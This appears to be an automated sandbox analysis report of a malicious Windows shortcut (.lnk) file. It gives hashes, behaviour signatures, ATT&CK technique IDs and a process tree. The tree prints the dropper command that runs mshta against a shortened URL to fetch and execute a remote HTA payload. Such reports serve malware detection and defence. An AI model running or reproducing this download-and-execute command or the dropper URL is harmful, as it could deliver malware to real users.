d287388e5ff978bf6f8af477460a9b76a74fdc33535e392b70e58176fc9ad805

Analysis

max time kernel
138s
max time network
186s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
20-05-2022 13:59

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General

Target

d287388e5ff978bf6f8af477460a9b76a74fdc33535e392b70e58176fc9ad805.lnk
Size

1.2MB
MD5

365d95c0d0659a1081488460eadf8159
SHA1

63a3f87be4f037585f576599823557e5444084a4
SHA256

d287388e5ff978bf6f8af477460a9b76a74fdc33535e392b70e58176fc9ad805
SHA512

41c49560683ee1611eb1143ca6babe650e336c33f7d58b67cb34e17e0450a9ef6b212fc318bc3601942e49acc3ba65aba86278bb6a60ac0764b9488036a4ca4a

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://bit.ly/3eIxLAZ

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exe

flow pid process

8 3108 mshta.exe
11 3108 mshta.exe
23 3108 mshta.exe
37 3108 mshta.exe
38 3108 mshta.exe
39 3108 mshta.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
8	3108	mshta.exe
11	3108	mshta.exe
23	3108	mshta.exe
37	3108	mshta.exe
38	3108	mshta.exe
39	3108	mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2428 wrote to memory of 4104	2428	cmd.exe	cmd.exe
PID 2428 wrote to memory of 4104	2428	cmd.exe	cmd.exe
PID 4104 wrote to memory of 3108	4104	cmd.exe	mshta.exe
PID 4104 wrote to memory of 3108	4104	cmd.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\d287388e5ff978bf6f8af477460a9b76a74fdc33535e392b70e58176fc9ad805.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2428

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://bit.ly/3eIxLAZ
2⤵
- Suspicious use of WriteProcessMemory
PID:4104

C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta https://bit.ly/3eIxLAZ
3⤵
- Blocklisted process makes network request
PID:3108

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3108-131-0x0000000000000000-mapping.dmp

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memory/4104-130-0x0000000000000000-mapping.dmp

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